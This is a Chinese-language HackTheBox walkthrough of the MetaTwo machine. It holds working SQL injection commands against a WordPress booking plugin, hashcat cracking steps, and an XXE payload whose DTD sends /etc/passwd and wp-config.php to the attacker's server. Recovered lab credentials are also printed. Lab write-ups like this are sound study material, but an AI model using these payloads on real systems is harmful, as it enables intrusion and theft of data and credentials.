MetaTwo HTB Writeup

2023-03-04 本文已影响0人 doinb1517

logo.png

知识点

1、wordpress扫描--wpscan

2、hashcat破解密码

3、wordpress sql注入

4、wordpress XXE漏洞利用

5、导出passpie密码

6、gpg2john和john破解

wp

直接访问IP得到域名metapress.htb，常规nmap扫描一波，发现开放了21，22，80端口，还有我们最爱的wordpress。

01.png

访问web页面得到如下页面

02.png

访问一波wordpress康康

03.png

直接wpscan扫一波，找到一个sql注入漏洞

wpscan --url http://metapress.htb --enumerate vt --api-token {your token}

04.png

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \                         7 ⨯ 1 ⚙
  --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=1&total_service=1) AND (SELECT 9578 FROM (SELECT(SLEEP(5)))iyUp)-- ZmjH'
  
sudo curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=5a84303f70&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

06.png

记得测试poc时候改下wpnonce

07.png

复制请求扔到sqlmap里面跑

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: curl/7.85.0
Accept: */*
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
Connection: close

action=bookingpress_front_get_category_services&_wpnonce=165a1beede&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -

08.png

整出来两个数据库名称

sqlmap -r meta.txt -p total_service --dbs

09.png

查看数据库

sqlmap -r meta.txt -p total_service --dbs

看看表

10.png

看看wp_users表，查看用户名和密码

sqlmap -r meta.txt -p total_service -D blog -T wp_users --dump

11.png

$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

hashcat破解密码，使用-m参数破解 $p$ 类型

hashcat -a 0 -m 400 hash.txt /usr/share/wordlists/rockyou.txt.gz

12.png

破解出了密码partylikearockstar

13.png

使用manager/partylikearockstar登陆SSH和FTP，登陆都失败，使用这个密码是可以登陆到wordpress后台的

14.png

15.png

此版本的wordpress存在XXE漏洞，可以泄露任意文件，此漏洞有一个前置条件就是在PHP8上运行是才能利用此漏洞

参考链接：https://www.freebuf.com/vuls/272446.html

我们需要准备两个文件payload.wav和.dtd文件

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.18:9999/123.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

cat 123.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.18:9999/?p=%file;'>" >

巧合的是我们的靶场就是PHP8，在此页面上传payload.wav，同时PHP开启服务器

php -S 0.0.0.0:9999

16.png

17.png

使用kali自带的base64工具解码回显的数据

18.png

找到一个用户

jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash

继续信息，既然是Nginx和wordpress，我们就康康他们的默认配置文件，发现wordpress根目录是``

再修改123.dtd读取wordpress配置文件,

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.18:9999/?p=%file;'>">

读取到的配置文件如下

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
 * Authentication Unique Keys and Salts.
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
 * WordPress Database Table prefix.
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

ok 我们现在收获了FTP的用户名和密码

metapress.htb
9NYS_ii@FyL_p5M2NvJ

收获了mysql的用户名和密码

blog
635Aq@TdqrCwXFUZ

使用用户名和密码登陆FTP服务器，看到根目录下有两个目录blog和mailer

20.png

查看send_email.php

<?php
/*
 * This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
    $mail->send();
    echo "Message has been sent successfully";
} catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
}

收获用户名和密码